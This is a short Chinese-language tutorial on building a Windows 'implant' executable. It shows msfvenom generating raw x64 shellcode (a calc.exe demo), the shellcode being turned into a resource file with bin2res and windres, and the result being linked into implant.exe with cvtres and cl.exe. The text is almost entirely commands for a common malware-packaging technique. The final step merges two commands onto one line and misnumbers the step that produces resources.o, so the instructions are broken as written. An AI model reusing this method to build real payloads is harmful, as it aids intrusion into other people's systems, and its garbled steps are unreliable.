- 使用msfvenom生成payload文件,命令如下:
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
其中,windows/x64/exec表示使用64位Windows系统执行命令的payload,CMD=calc.exe表示要执行的命令为打开计算器,-f raw表示输出为二进制文件,-o calc.bin表示输出文件名为calc.bin。
- 将payload文件转换为资源文件,命令如下:
bin2res calc.bin calc.rc PAYLOAD
其中,calc.bin为上一步生成的payload文件,calc.rc为输出的资源文件名,PAYLOAD为资源类型。
- 将资源文件转换为目标格式,命令如下:
windres calc.rc calc.res
其中,calc.rc为上一步生成的资源文件,calc.res为输出的目标格式文件。
- 将目标格式文件链接到源文件中,生成可执行文件,命令如下:
cvtres /MACHINE:x64 /OUT:resources.o calc.res cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
其中,resources.o为第三步生成的目标格式文件,implant.cpp为包含执行payload的源文件,implant.exe为输出的可执行文件。
执行完以上步骤后,就可以得到一个可以打开计算器的payload文件和可执行文件了